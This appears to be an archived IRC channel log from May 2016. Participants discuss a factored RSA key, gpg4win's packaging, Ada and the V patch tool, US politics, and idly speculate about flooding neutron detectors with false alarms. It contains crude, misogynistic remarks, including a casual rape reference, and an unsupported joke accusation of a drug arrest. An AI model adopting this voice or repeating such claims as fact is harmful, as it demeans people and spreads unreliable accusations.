say it as if it actually happened. 1462084;1462294253;mircea_popescu;stupid ho screaming "nonono" with hands stuffed in ears is still getting raped, just like any other. 1462085;1462294285;ascii_butugychag;it happened just as michael hastings happened. 1462086;1462294297;ascii_butugychag;or boston bomb. 1462087;1462294307;ascii_butugychag;ask questions, and 'yer a nutter' 1462088;1462294323;mircea_popescu;o noes, moar words ? that'll show dem terrorists!!1 1462089;1462294333;ascii_butugychag;where is, i'd like to know, the rape ? 1462090;1462294339;ascii_butugychag;thus far the only sore arse is mine afaik. 1462091;1462294352;*;mircea_popescu kinda sees this future, derpy eggs on wheels going around smouldering ruins that used to be us towns, "STOP! Or I'll call you a bad name!" 1462092;1462294370;ascii_butugychag;this was already pictured in some film 1462093;1462294375;ascii_butugychag;i forget which. some animated shit. 1462094;1462294386;ascii_butugychag;the one with the rusting junkyard robot. 1462095;1462294403;mircea_popescu;nfi, but makes snese 1462096;1462294409;ascii_butugychag;'wall-e' 1462097;1462294489;ascii_butugychag;'ASN1 Strings that are over 1024 bytes can cause an overread in applications 1462098;1462294490;ascii_butugychag;using the X509_NAME_oneline() function on EBCDIC systems.' 1462099;1462294492;ascii_butugychag;????!!! 1462100;1462294495;mircea_popescu;$up Echoplex 1462101;1462294495;deedbot;Echoplex voiced for 30 minutes. 1462102;1462294497;ascii_butugychag;ebcydick lives ?!!!! 1462103;1462294627;trinque;wget -H -r -l1 http://trilema.com/wp-content/uploads/2016/05/alfie-teh-bee-dog.htm << for teh lazy 1462104;1462294727;trinque;ah that didn't work; I guess that links to the "do you want to archive" page 1462105;1462294733;trinque;$up ascii_butugychag 1462106;1462294733;deedbot;ascii_butugychag voiced for 30 minutes. 1462107;1462294869;ascii_butugychag;mircea_popescu: sks is the noncooperating thing. 1462108;1462294961;ascii_butugychag;networkeggog!111111111111 1462109;1462294962;ascii_butugychag;every time. 1462110;1462295057;mircea_popescu;trinque it hasta be clicked, because otherwise you realise, botted into the ground. 1462111;1462295061;mircea_popescu;kinda why i did it like this 1462112;1462295064;trinque;http://imgur.com/IQxx4w3 << lol?! 1462113;1462295092;mircea_popescu;trinque ikr? 1462114;1462295528;mircea_popescu;and in other "this worked a minute ago" news, http://trilema.com/wp-content/uploads/2016/05/alfie-teh-dog-bee.htm << same, but with mit. 1462115;1462300531;ben_vulpes;http://btcbase.org/log/2016-05-03#1461579 << so yes, i appear to have fallen for what i took to be a gem but was in fact a paste replica of a gem /someone saw one time/ 1462116;1462300531;a111;Logged on 2016-05-03 00:42 asciilifeform: ben_vulpes: ever play with symbolics 'joshua' ? 1462117;1462301578;trinque;ah life at the end of the world 1462118;1462313073;shinohai;;;later tell BingoBoingo http://i.4cdn.org/b/1462309912113.gif 1462119;1462313074;gribble;The operation succeeded. 1462120;1462313103;BingoBoingo;oh shit! 1462121;1462313267;BingoBoingo;$up ascii_butugychag 1462122;1462313268;deedbot;ascii_butugychag voiced for 30 minutes. 1462123;1462313271;ascii_butugychag;ty BingoBoingo 1462124;1462313281;ascii_butugychag;somehow we missed this nyoooz item: 1462125;1462313282;ascii_butugychag;http://phuctor.nosuchlabs.com/gpgkey/3C76C921ACD9ED4BE60ECD06C341CD8F18952E398C63CD4C958503DA9E42C1B2 1462126;1462313289;ascii_butugychag;^ this is, best as i can tell, a legit key 1462127;1462313292;ascii_butugychag;for u.s. disa. 1462128;1462313294;ascii_butugychag;circa 1994. 1462129;1462313302;ascii_butugychag;no mirror shenanigans. 1462130;1462313343;*;ascii_butugychag bbl. 1462131;1462316951;mircea_popescu;in other lulz, http://archive.is/pgp.mit.edu << full archive of the keys as found in situ 1462132;1462316962;mircea_popescu;if anyone wants to get the archive, base64 and deed it... 1462133;1462317357;shinohai;nm it worked 1462134;1462317523;mircea_popescu;and in other sourceforce lulz : http://uvatyrydili.sourceforge.net/oiqoindywhee34.html (careful, it does a redirect). 1462135;1462317920;mircea_popescu;http://btcbase.org/log/2016-05-03#1462128 << back in 1994 ~nobody was factoring these anyway, so prolly safe for its time. 1462136;1462317920;a111;Logged on 2016-05-03 22:08 ascii_butugychag: circa 1994. 1462137;1462318257;shinohai;http://btcbase.org/log/2016-05-02#1461149 "Because of the positions the low quality rubes Hoaxtoshi selected for his audience " <<< priceless 1462138;1462318257;a111;Logged on 2016-05-02 15:26 deedbot: [Qntra] Hoaxtoshi Coninues Swindling Media - http://qntra.net/2016/05/hoaxtoshi-coninues-swindling-media/ 1462139;1462318588;asciilifeform;http://btcbase.org/log/2016-05-03#1462135 << not the point. i want to know ~what piece of shitware generated it~ 1462140;1462318588;a111;Logged on 2016-05-03 23:25 mircea_popescu: http://btcbase.org/log/2016-05-03#1462128 << back in 1994 ~nobody was factoring these anyway, so prolly safe for its time. 1462141;1462318614;asciilifeform;http://btcbase.org/log/2016-05-03#1462131 << y'know, i already have sks archive. from 2014 even... 1462142;1462318614;a111;Logged on 2016-05-03 23:09 mircea_popescu: in other lulz, http://archive.is/pgp.mit.edu << full archive of the keys as found in situ 1462143;1462318619;asciilifeform;fat lot of good it does ~now~ 1462144;1462318696;asciilifeform;http://shitco.in/2016/05/03/the-actual-current-state-of-bitcoin << l0l, pankkake is back ? and not wholly off the reservation, even ? 1462145;1462318856;asciilifeform;or nm, was someone else ? 1462146;1462318859;asciilifeform;at any rate, notbad.jpg 1462147;1462319140;asciilifeform;in other not-quite-news, 1462148;1462319150;asciilifeform;zoolag is back, at 72.83.9.196:8333. 1462149;1462319392;mircea_popescu;asciilifeform yes but this is publicly third party. 1462150;1462319405;asciilifeform;waiwut 1462151;1462319409;mircea_popescu;the archive thing 1462152;1462319417;asciilifeform;aha 1462153;1462319426;asciilifeform;doesn't really get out of the problem tho 1462154;1462319435;mircea_popescu;what problem doesn't it get out of ? 1462155;1462319444;asciilifeform;hitler can always print, in volkischer beobachter, 'he downloaded the tarball, diddled, then deedbotted' 1462156;1462319455;mircea_popescu;this is not a problem. 1462157;1462319457;asciilifeform;the problem of hitler editing history 1462158;1462319496;asciilifeform;i'm not aware of other problems that deedbotting archives might solve ? 1462159;1462319499;asciilifeform;am i thick or what. 1462160;1462319527;mircea_popescu;just particularly inclined. 1462161;1462319559;mircea_popescu;"this doesn't solve the problem of the sun looking at me funny" "this is not a problem" "am i thick or what ?!" "no, you're just the sort of fellow that's decided afore the fact that the sun can look at you funny and this matters." 1462162;1462319574;mircea_popescu;such problems can only be solved by the problematizer and for himself. 1462163;1462319588;asciilifeform;then why bother deedbotting the archive ? 1462164;1462319599;mircea_popescu;so it's there ? 1462165;1462319609;asciilifeform;mega-answer. 1462166;1462319643;mircea_popescu;there's a difference between "why should i suck your cock" "because it's here" and "why should i suck your cock, because he says i'm a slut ???". 1462167;1462319646;mircea_popescu;mega-difference. 1462168;1462319654;shinohai;;;later tell mod6 http://btcbase.org/patches/funken_prikey_tools#BDC4FC472BE4A86FB91FA69368FAACE04414FDEEE5B8C82795E31D37E21581B973CAF7F3E9CCC27D487944A5782E3B59615180EAB87C8B3E81242901F3039E4D is working for well over a week now, if it makes any difference. 1462169;1462319654;gribble;The operation succeeded. 1462170;1462319685;asciilifeform;'doorknob is also here, why not suck it instead' 1462171;1462319688;mircea_popescu;o.O da fguck is that 1462172;1462319714;mod6;shinohai: hey! 1462173;1462319715;mircea_popescu;oh right, the code reviewer thingee 1462174;1462319741;mod6;i had the same reaction mp 1462175;1462319748;mircea_popescu;:p 1462176;1462319752;shinohai;btcbase is fast becoming my go-to site >.< 1462177;1462319756;mircea_popescu;we were kinda in the middle of things with that when interrupted. 1462178;1462319759;asciilifeform;that thing is what put phf properly in my mental list of useful folk, originally 1462179;1462319766;asciilifeform;i used it many times. 1462180;1462319802;shinohai;$rate phf 2 btcbase.org 1462181;1462319803;deedbot;Get your OTP: http://wotpaste.cascadianhacker.com/r/ab216985-cc7d-4ae1-b55c-014da14e06c8/ 1462182;1462319820;asciilifeform;(and in fact i have a half-written version of it on own hdd, back when i started doing it! and then he went and did whole thing himself, and i went 'neato, i dun have to no moar') 1462183;1462319831;mircea_popescu;pretty cool huh. 1462184;1462319853;asciilifeform;i like it when the solution to a problem is this obvious 1462185;1462319858;asciilifeform;that other folk can simply... do it 1462186;1462319860;shinohai;$v FFE78FDD065EC28BAE4EE3B39F5E3C8A52BEBF5DDE280133786FB5E4082EF291 1462187;1462319860;deedbot;shinohai updated rating of phf from 1 to 2 << btcbase.org 1462188;1462319863;asciilifeform;from the stated principles. 1462189;1462319866;mircea_popescu;"obvious"... to the right people. 1462190;1462319869;asciilifeform;aha. 1462191;1462319966;mod6;the nice part is that i can just click and see the vpatch too 1462192;1462319995;mod6;how does one load the vpatch in there in the first place? just submit to phf? 1462193;1462320134;phf;http://btcbase.org/log/2016-02-21#1411699 experimental though, i think the only uploaded patch is this guy http://btcbase.org/patches/phf-shiva-swank 1462194;1462320134;a111;Logged on 2016-02-21 03:16 phf: ok so http://btcbase.org/upload now works. takes seal and vpatch and saves it to uploads patchset http://btcbase.org/patches?patchset=uploads. uploads patchset inherits from experimental, which in turn inherits from stable. those who'd like to upload a patch are welcome to give it a try and let me know if it doesn't work. 1462195;1462320164;phf;but so far it's been just me uploaded announced patches whenever i see one 1462196;1462320188;mod6;ah. you're missing a number of the later patches, but maybe that's because it's "shiva" ? 1462197;1462320273;phf;I might've missed some, but I also I've never quite settled on a working "press". I'll revisit it once log settles 1462198;1462320306;mod6;no worries, just wanted to make sure you're aware. 1462199;1462320325;phf;So patches might be there, but not in press, or in a wrong patchset, or... 1462200;1462320352;phf;Thanks! 1462201;1462320407;shinohai;curl -F 'vpatch=@foo.vpatch' -F 'seal=@bar.sig' http://btcbase.org/upload <<< neat! 1462202;1462320560;mod6;XXX btcbase upload ^ 1462203;1462320603;mod6;anyway, yeah, i'll find sometime in the next week maybe to try this one out personally and rebase if required. 1462204;1462320631;mod6;thanks a lot for looking through that. 1462205;1462321032;asciilifeform;in other nyooz, my 'ada 2012 ref man.' is here. 1462206;1462321047;asciilifeform;costliest dead tree i bought in ~decade. 1462207;1462321071;asciilifeform;and fully 2x the thickness of the ada '05 one. 1462208;1462321104;asciilifeform;to no surprise (for folks who've been paying attention), unlike just about every other known case, the extra mass is all goodstuff 1462209;1462321570;asciilifeform;in unrelated but fall-off-your-chair-gutbusting lulz, 1462210;1462321576;asciilifeform;https://files.gpg4win.org << guess how they package the source. 1462211;1462321607;asciilifeform;srsly i could not make this up if i tried ! 1462212;1462321612;asciilifeform;motherfucking exe ! 1462213;1462321681;asciilifeform;but they also have normal-looking tarballs? wtf. 1462214;1462321739;asciilifeform;why is there a .mid music file in there ?! 1462215;1462321784;asciilifeform;and a dll loader 'helper' l0l 1462216;1462321792;asciilifeform;who can be arsed, go, read. 1462217;1462321794;asciilifeform;circus. 1462218;1462321795;shinohai;#fail 1462219;1462321870;asciilifeform;BEST OF ALL, 1462220;1462321894;asciilifeform;that src tarball (latest) is ~6MB, and DOES NOT INCLUDE GPG SOURCE 1462221;1462321899;asciilifeform;or any other deps 1462222;1462321906;asciilifeform;INSTEAD, it has a manifest list and a loader... 1462223;1462321910;asciilifeform;SHA1 manifest, of course. 1462224;1462321913;asciilifeform;win. 1462225;1462321918;asciilifeform;i am done reading this. 1462226;1462321971;asciilifeform;i also recommend that gpg4win henceforth be referred to as gpg4lose. 1462227;1462323383;mod6;<+asciilifeform> in other nyooz, my 'ada 2012 ref man.' is here. << that's neat. thought we were leaning towards the '95 standard? 1462228;1462323389;asciilifeform;nope. 1462229;1462323392;asciilifeform;no invariants ! 1462230;1462323398;asciilifeform;no adequate threads ! 1462231;1462323402;mod6;dangit 1462232;1462323407;asciilifeform;no built-in necessaries, e.g., queues 1462233;1462323408;asciilifeform;srsly 1462234;1462323411;asciilifeform;throw out the old crud. 1462235;1462323425;mod6;ok, well, obv we need that shit. lol. just gotta buy a new book now. 1462236;1462323431;mod6;which ref did you get? 1462237;1462323439;asciilifeform;there is exactly 1 2012 ref 1462238;1462323447;mod6;ok 1462239;1462323450;asciilifeform;but careful, don't throw out the ~rationale~ for '05 1462240;1462323456;asciilifeform;the '12 is published as an addendum to it 1462241;1462323458;asciilifeform;(dun ask me why) 1462242;1462323483;mod6;this one? 1462243;1462323484;mod6;Ada 2012 Reference Manual. Language and Standard Libraries: International Standard ISO/IEC 8652/2012 (E) (Lecture Notes in Computer Science / Programming and Software Engineering) 1462244;1462323495;asciilifeform;it. 1462245;1462323496;mod6;by S. Tucker Taft and Robert A. Duff 1462246;1462323497;mod6;ok 1462247;1462323500;mod6;thx 1462248;1462323512;mod6;i did get my stripper-DFA book btw. 1462249;1462323518;asciilifeform;neato 1462250;1462323528;mod6;needed for the shelf. 1462251;1462323600;mod6;<+asciilifeform> SHA1 manifest, of course. << lol. i do some shitshoveling at a place that still uses md5 and sha1 at all times. 1462252;1462323773;mod6;"larger digests?shaw!" 1462253;1462323785;mod6;*pshaw 1462254;1462323795;asciilifeform;for remote loading of src ?! 1462255;1462323831;mod6;well, i guess technically, gradle doesn't even rely on digests at all. 1462256;1462323860;mod6;it just looks to see if there is a newer version number by filename itself in the remote repository, and if so, pulls it. 1462257;1462323894;mod6;so like "foo-1.0-SNAPSHOT" v. "foo-1.1-SNAPSHOT", it'll pull that if you ask it to reload dependencies. 1462258;1462323931;mod6;but if you have "foo-1.0-SNAPSHOT" vs. "foo-1.0-SNAPSHOT" with a different hash because of different build, won't care, you don't get new file. 1462259;1462323970;mod6;you have to explicitly tell it to --rebuild-dependencies or whatever the fuck 1462260;1462323980;asciilifeform;barfalicious 1462261;1462323994;mod6;oh yeah. i have bile coming out of my ears on this shit. 1462262;1462324000;mod6;especially when it fucks with me like today. 1462263;1462324017;mod6;guy made a name change to a fucking abstract method that I use from his package. 1462264;1462324045;mod6;broke my shit, then couldn't get my shit to work until I had to refresh everything. 1462265;1462324052;mod6;if only they used V. 1462266;1462324377;mod6;ugh 1462267;1462324566;mircea_popescu;http://btcbase.org/log/2016-05-04#1462226 << windows world dood, be thankful it's not all in java and requiring "latest version internet exploder" 1462268;1462324566;a111;Logged on 2016-05-04 00:32 asciilifeform: i also recommend that gpg4win henceforth be referred to as gpg4lose. 1462269;1462324591;asciilifeform;mircea_popescu: it almost deserves to be 1462270;1462324615;asciilifeform;but i initially popped it open thinking it'd be a simple port, like, e.g., gimp 1462271;1462324617;asciilifeform;but no! 1462272;1462324617;mircea_popescu;anyway. i'm telling you, 90% of new eulora players are on gpg4win 1462273;1462324635;mircea_popescu;gimp is not run by shitgnomes, hence lisp scripting etc. 1462274;1462324642;mircea_popescu;pgp has been ever since late 90s it seems. 1462275;1462324691;mircea_popescu;http://btcbase.org/log/2016-05-04#1462265 << werd :D 1462276;1462324691;a111;Logged on 2016-05-04 01:07 mod6: if only they used V. 1462277;1462324754;asciilifeform;v is somewhat like ada, in that 'ugh too much pain, sweat', 'not for people!1111' etc reaction from virtually everyone you show it to 1462278;1462324774;asciilifeform;there is not an escape from this, nor ought to be. 1462279;1462324995;mircea_popescu;somethinglikethat. 1462280;1462325038;asciilifeform;i expect to see similar reactions, to, e.g., 'p' 1462281;1462325055;asciilifeform;'whaddayamean no keychain! whaddayamean specify ALL inputs and outputs' 1462282;1462325243;mircea_popescu;keychain was a kludge from end to end. vaguely reminiscent of bitcoin "accounts" 1462283;1462325615;asciilifeform;in no way different. 1462284;1462325629;asciilifeform;same basic type of braindamage at work. 1462285;1462325790;mircea_popescu;there's more kludge that needs to go. such as, internet connectivity. 1462286;1462326287;mircea_popescu;and in other weirdulz : http://66.media.tumblr.com/b3bc985eb95ca3c742f4d53e84eb8d23/tumblr_n5hfdqE65J1ra163eo1_400.gif 1462287;1462326466;mircea_popescu;BingoBoingo check it out, cruz dropped out. 1462288;1462326530;mircea_popescu;indiana sunk him. 1462289;1462326690;mircea_popescu;in fairness, he was going on oil for a while now. carly fiorina, srsly ?! that bitch could sunk a blue chip. o wait - she did! 1462290;1462327604;mod6;<+asciilifeform> there is not an escape from this, nor ought to be. << V, at least to me, seems like the way that things aught to be done. and there are no shortcuts when you're doing the 'right thing' or how something aught to be done. 1462291;1462327624;mod6;further, i feel like there is a sense of pride that comes from taking the time to do something right, as opposed to doing something quick and dirty. 1462292;1462327661;mod6;no one should feel bad about doing something the way that it aught to be done. unfortunately, this is not often the case with many things. 1462293;1462327690;mod6;which is basically how we ended up with the entire shit-stack we've ended up with today. 1462294;1462327953;mircea_popescu;$up Ciphertext 1462295;1462327954;deedbot;Ciphertext voiced for 30 minutes. 1462296;1462328018;Ciphertext;On the site http://phuctor.nosuchlabs.com/phuctored what does "Modulus has mirrored low order 32 bits mean?" Does that mean it basically is reflected, like for 8 bits 11011011 would be mirrored? 1462297;1462328030;Ciphertext;If so, what implications would that have? 1462298;1462328151;mircea_popescu;Ciphertext please see http://trilema.com/2015/more-factored-rsa-keys-and-assorted-other-considerations/ the final part. 1462299;1462328865;Ciphertext;gotcha, had to read it twice to get it, then it clicked 1462300;1462328919;mircea_popescu;cool. 1462301;1462329252;mircea_popescu;https://kiwiirc.com/client/irc.freenode.net/trilema << is this better than webirc i wonder ? 1462302;1462329321;mircea_popescu;there's also http://en.irc2go.com/webchat/?net=freenode&room=trilema 1462303;1462329331;asciilifeform;http://btcbase.org/log/2016-05-04#1462286<< tru work of art!!! 1462304;1462329331;a111;Logged on 2016-05-04 01:44 mircea_popescu: and in other weirdulz : http://66.media.tumblr.com/b3bc985eb95ca3c742f4d53e84eb8d23/tumblr_n5hfdqE65J1ra163eo1_400.gif 1462305;1462329340;*;asciilifeform takesoffhat 1462306;1462329510;mircea_popescu;https://ritetag.com/hashtag-stats/bitcoin << and speaking of data miners, check out the wot-esque graph they got going. 1462307;1462330279;deedbot;[Qntra] Next US President To Be A Clinton - http://qntra.net/2016/05/next-us-president-to-be-a-clinton/ 1462308;1462330332;asciilifeform;BingoBoingo: misc lulz : https://www.ebay.com/ulk/itm/331845843081 1462309;1462330353;asciilifeform;re neutron thread ^^ 1462310;1462330585;BingoBoingo; indiana sunk him. << Aha, Rush Limbaugh is going to be very mournful tomorrow. He really tempered his Trump support these past few months after he helped birth this incarnation of the Clinton Monster. 1462311;1462330841;BingoBoingo;asciilifeform: Nice find 1462312;1462331982;asciilifeform;BingoBoingo: scored some of what appears to be the fiber from earlier thread from this fella. might come in handy at some point. 1462313;1462332005;BingoBoingo;Ballin' 1462314;1462332169;deedbot;[Qntra] Phuctor Factors United States DISA Key - http://qntra.net/2016/05/phuctor-factors-united-states-disa-key/ 1462315;1462332314;asciilifeform;sooooo here's a thought. perhaps esp. for mircea_popescu. usg luuuvvvvvvs puttin' neutron alarms everywhere. but what if the ... other side... set off 100,001 of them at once, on day x, with, e.g., pocket farnsworth's devices? 1462316;1462332559;deedbot;[Recent Phuctorings.] Phuctored: 1321909 divides RSA Moduli belonging to 'Alan Cox ; ' - http://phuctor.nosuchlabs.com/gpgkey/3B2DC689E312DF7B25F1C5A190A8A7470AA5A605E3FFDAA204E1F3C86B810167 1462317;1462333804;mircea_popescu;https://slashdot.org/submission/5827727/public-key-associated-with-us-defense-information-systems-agency-factored << win 1462318;1462333833;BingoBoingo;Not on front page yet, but if we all astroturf, they'll prolly surrender and run it. 1462319;1462333860;BingoBoingo;"reader oriented" operated by a friendlier variety of spamzors than last ownership group et al. 1462320;1462333879;mircea_popescu;asciilifeform to what end ? 1462321;1462333912;BingoBoingo;Drowning them in noise? 1462322;1462333958;mircea_popescu;i can appreciate the "information wants to be free" "legalize dope" etc angle, but i dunno what exactly is the idea. anyone seriously intending to administer anything will have a ban on moving plutonium around. 1462323;1462334069;*;BingoBoingo see more the inflicting costs angle. Gotta check out all those alarms. 1462324;1462334119;mircea_popescu;i guess. seems pretty sophomoric. 1462325;1462334126;BingoBoingo;$up distemper 1462326;1462334127;deedbot;distemper voiced for 30 minutes. 1462327;1462334167;BingoBoingo;Most ways of pricking the beast are sophmoric. Graffiti is sophmoric but they gotta spend to clean it up or they lose face. 1462328;1462334248;mircea_popescu;with grafitti it's more a matter of execution whether it is or it isn;t 1462329;1462334277;BingoBoingo;Even shitty graffiti if it persists projects the image "they" aren't in control. 1462330;1462334313;mircea_popescu;yeah, but even if tomorrow you're the king and queen of earth, you'll be stuck trying to control pu shipments, want it or not. 1462331;1462334315;mircea_popescu;it's one of those. 1462332;1462334463;mircea_popescu;very much like, say, a trichinelosis detector. you ~want~ someone somewhere to have these, keep them well oiled and force manufacturers to burn any and all carcasses that come positive. 1462333;1462334616;mircea_popescu;and in other partyvan news, http://65.media.tumblr.com/21222f1b753050b4e31f97c436e5d4eb/tumblr_o1phrw0oAT1trzasto1_1280.jpg 1462334;1462334757;asciilifeform;mircea_popescu: elementarily, anyone intending to mail in ze bomb will ddos the sensors prior 1462335;1462334762;asciilifeform;'cry wolf' etc. 1462336;1462334782;mircea_popescu;well not "anyone", but sure. 1462337;1462334784;asciilifeform;point was that it is quite trivial, and the whole orchestra is a waste of dough. 1462338;1462334829;mircea_popescu;not exactly. lafond makes this point, re the difference between a police force and a militia. you can't expect the police to protect you against organised violence. it works entirely and strictly for disorganised violence. 1462339;1462334866;asciilifeform;there are no hoodrats-cum-nukes. 1462340;1462334877;asciilifeform;the thing sorta implies organization definitionally. 1462341;1462334880;mircea_popescu;two people have an argument and one gets really angry, police can fix this. random derp gets overexcited tries to ship smoke detector shavings to ex gf's mother, police can fix this. 1462342;1462334896;asciilifeform;recognize, shavings dun set off neutronograph 1462343;1462334898;mircea_popescu;by the time powerful entity sends ddos wave prior to dirty bombs, police's not a useful expense. 1462344;1462334902;asciilifeform;they are ~specific~ to fissiles. 1462345;1462334923;mircea_popescu;jus' sayin'. 1462346;1462334954;asciilifeform;(incidentally, geiger tubes in, e.g., train stations, were sop for ~decades~.) 1462347;1462334960;asciilifeform;this here's different. 1462348;1462334971;mircea_popescu;the multi-bn-dollar neutron-detector-at-shipping-interfaces programme, going for well over three decades already, has captured exactly 0 anything. 1462349;1462334982;asciilifeform;afaik. 1462350;1462334987;mircea_popescu;but much like in the case of "metal detectors" in airports, going for about as long, the goal was never THAT. 1462351;1462335017;mircea_popescu;the goal was the same : it gave good basis for the eventual "globalisation", which, without the derpy "peace movement" post nuke detonation would have likely never existed 1462352;1462335023;mircea_popescu;this whole am 1462353;1462335032;mircea_popescu;aml/kyc idiocy is fed exactly off that. 1462354;1462335053;mircea_popescu;and similarly with the "metal detector" security in airports. tis for the cows, not for the metals. 1462355;1462335075;asciilifeform;well the metal arches are theatre 1462356;1462335089;asciilifeform;the neutronographs - not advertised, concealed behind drywall etc. 1462357;1462335112;mircea_popescu;but the fact that there is a "greater good" pretext to force say germany to put them in, 1462358;1462335116;BingoBoingo;In other lols Sanders beat Clitler in Indiana. GOP settled their party divide first 111!!! 1462359;1462335119;asciilifeform;took some digging to even realize that they are a separate concern from the theatre. 1462360;1462335126;mircea_popescu;is what's needed to then force germany to "approve" gpg4win oficially. 1462361;1462335136;asciilifeform;well yeah, basic usgtronics 1462362;1462335138;mircea_popescu;so yeah, it is theatre, just, you're not the demo. 1462363;1462335154;mircea_popescu;judge is the demo ; and bureaucrats are the demo ; and so on. 1462364;1462335156;asciilifeform;'choose, either us or greenglassocalypse' 1462365;1462335426;asciilifeform;mircea_popescu: this'd handily explain a buncha things. 1462366;1462335451;asciilifeform;e.g., the astronomically expensive gc/ms poison detectors, etc. 1462367;1462335470;asciilifeform;theatre for the chair-warmers. 1462368;1462335496;mircea_popescu;quite. this argument that "oh, never seen" ... guess what ? priceless relics in temples also kept in dark, never seen! 1462369;1462335505;mircea_popescu;not by public at any rate. but gotta keep THE PRIESTS impressed too! 1462370;1462335510;mircea_popescu;lest cynicism takes hold. 1462371;1462335528;asciilifeform;su was illustration of what happens if you fail to keep the priests in. 1462372;1462335620;mircea_popescu;the unravelling of the vaccine story recently is rather symptomatic. a society that no longer accepts the "vaccinarnos es cuidarnos entre todos" is, to use proper terminology, ungovernable. 1462373;1462335648;mircea_popescu;like any theatre, state necessitates willing suspension of disbelief. 1462374;1462335674;mircea_popescu;and otherwise, the world is too harsh to face without theatre. at least for most bipedals. 1462375;1462335698;mircea_popescu;(it is pretty fucking harsh. slavegirls may attest.) 1462376;1462335718;BingoBoingo;http://www.breitbart.com/tech/2016/05/03/angry-sjw-demands-student-journalist-be-punished-for-filming-trigglypuff/ 1462377;1462335770;asciilifeform;mircea_popescu: what unravelling 1462378;1462335864;asciilifeform;http://btcbase.org/log/2016-05-04#1462316 << this is not a 32-mirror. i would dearly love to know how the schmuck generated his key. 1462379;1462335864;a111;Logged on 2016-05-04 03:29 deedbot: [Recent Phuctorings.] Phuctored: 1321909 divides RSA Moduli belonging to 'Alan Cox ; ' - http://phuctor.nosuchlabs.com/gpgkey/3B2DC689E312DF7B25F1C5A190A8A7470AA5A605E3FFDAA204E1F3C86B810167 1462380;1462335869;asciilifeform;and ditto for the others. 1462381;1462335873;mircea_popescu;BingoBoingo can't imagine why anyone'd care ? 1462382;1462335889;mircea_popescu;asciilifeform can always mail 'em an' ask ? 1462383;1462335905;asciilifeform;mircea_popescu: i tried this, so far nothing. 1462384;1462335919;mircea_popescu;maybe their email client is also misbehaving. 1462385;1462335925;asciilifeform;satan knows. 1462386;1462335953;mircea_popescu;all hail the dark lord. 1462387;1462335956;BingoBoingo;mircea_popescu: Apparently the video that earned her the trigglypuff nickname was entertaining, but I ain't got time for that. Just gotta leave the triggering stuff here for when Hanno reads the logs before his astroturf sessions. 1462388;1462335993;mircea_popescu;lol. i dun think he got time for that, too buys [could have] discovering quantum cold fusion. 1462389;1462336009;asciilifeform;oh speaking of these people, 1462390;1462336027;asciilifeform;i know nothing of heininger in real life, but i had a dream where she was a hot chik 1462391;1462336039;mircea_popescu;how is this speaking of THOSE people. 1462392;1462336042;asciilifeform;it was surreal. 1462393;1462336079;asciilifeform;https://www.cis.upenn.edu/~nadiah 1462394;1462336085;asciilifeform;^ apparently has photo, even. 1462395;1462336113;mircea_popescu;$up Chicago 1462396;1462336113;deedbot;Chicago voiced for 30 minutes. 1462397;1462336136;mircea_popescu;asciilifeform until i hear different, actual scientists involved have no fault some imbecile "journalist" / online whore dragged their name in. 1462398;1462336163;asciilifeform;mircea_popescu: cited by name in your original phuctor article series. 1462399;1462336189;mircea_popescu;and not heard from hence. 1462400;1462336198;mircea_popescu;some people grok the concept on seeing a dead cat. 1462401;1462336201;Chicago;Thanks mircea_popescu, deedbot 1462402;1462336205;mircea_popescu;some people gotta see their eviscerated children. each his own./ 1462403;1462336219;mircea_popescu;how's Chicago ? 1462404;1462336237;BingoBoingo;;;google site:qntra.net Chicago 1462405;1462336238;gribble;Error: We broke The Google! 1462406;1462336244;BingoBoingo;0.o 1462407;1462336251;mircea_popescu;eh it was broken from before. 1462408;1462336256;mircea_popescu;IM NOT BUYING IT. 1462409;1462336264;Chicago;mircea_popescu, I'm well, thanks. Happily celebrating the Trump victory in nearby Indiana today. How is Mircea? 1462410;1462336277;BingoBoingo;http://qntra.net/2016/03/chicago-to-scape-around-hole/ 1462411;1462336286;*;asciilifeform bbl 1462412;1462336312;mircea_popescu;going throgh reports. nothing much. 1462413;1462336386;Chicago;Otherwise, just waiting on some hdparm security-erase to complete on a disk, so I can throw it into a scratch array. I needed some space to work on a large collection of files, to tarball them before archiving them on tape. 1462414;1462336418;mircea_popescu;that sounds exciting and all. 1462415;1462336736;Chicago;It could be worse. There is a series of checks, tests and configurations I employ before putting a spindle into production. This is because I have a battery of Seagate Barracuda ES.2 drives from circa 2008/2009 which I still want to use. Some of them are just bad, from known firmware problems and the others need to somehow prove themselves to be *good enough* to use for scratch data handling. 1462416;1462336864;Chicago;At the time the Barracuda ES.2 drives were manufactured, their promotional materials were quite attractive. As time progressed, there were a number of problems with them similar to the IBM Deskstar (Deathstar) hard drives. 1462417;1462338006;BingoBoingo;$up Chicago 1462418;1462338007;deedbot;Chicago voiced for 30 minutes. 1462419;1462338166;Chicago;Thanks BingoBoingo, how are you today? 1462420;1462338177;BingoBoingo;Not bad 1462421;1462338197;Chicago;Good, working on anything particularly interesting today? 1462422;1462338340;BingoBoingo;Oh, not today. Just mourning a Clinton v Clinton election 1462423;1462338630;Chicago;BingoBoingo, I'm afraid I don't understand. What do you mean by a Clinton v. Clinton election? 1462424;1462338646;BingoBoingo;Trump is just a Clinton in huckster clothing 1462425;1462338830;Chicago;Ah, okay. Maybe the claim Trump will pick Hillary as his VP has some merit to it. 1462426;1462338860;BingoBoingo;Nah, their strategy is have a clinton on each line of the ticket 1462427;1462338868;Chicago;BingoBoingo, you should mourn on Undernet in #political or #politics with the masses. 1462428;1462338898;Chicago;The dialog there is often quite colorful. 1462429;1462339107;BingoBoingo;Ain't nobody got time for that 1462430;1462339164;Chicago;:p some people watch football, some people watch soap operas, some people like talking to a brick wall on the Undernet. 1462431;1462339201;BingoBoingo;$gettrust deedbot Chicago 1462432;1462339202;deedbot;L1: 0, L2: 0 by 0 connections. 1462433;1462339305;*;Chicago will get on the WoT soon. 1462434;1462342343;BingoBoingo;http://www.jameslafond.com/article.php?id=4329 1462435;1462353715;punkman;https://archive.is/yVEdn re:500eur notes 1462436;1462356066;jurov;asciilifeform: toplevel trb is just redirected to thebitcoin.foundation, that is ran by mod6 1462437;1462356184;jurov;^ re: http://btcbase.org/log/2016-05-02#1461500 1462438;1462356184;a111;Logged on 2016-05-02 20:05 asciilifeform: ;;later tell jurov observed any spike in trb site traffic ? (it is linked from nosuchlabs.com) 1462439;1462366469;mircea_popescu;all these noobs! 1462440;1462366479;asciilifeform;lel 1462441;1462366567;mircea_popescu;and in other lulz, http://dpaste.com/2Y0VAST 1462442;1462369255;shinohai;mircea_popescu was arrested for trafficking meth in Georgia: https://i.imgur.com/p1w7pYO.jpg 1462443;1462369263;mircea_popescu;o.O 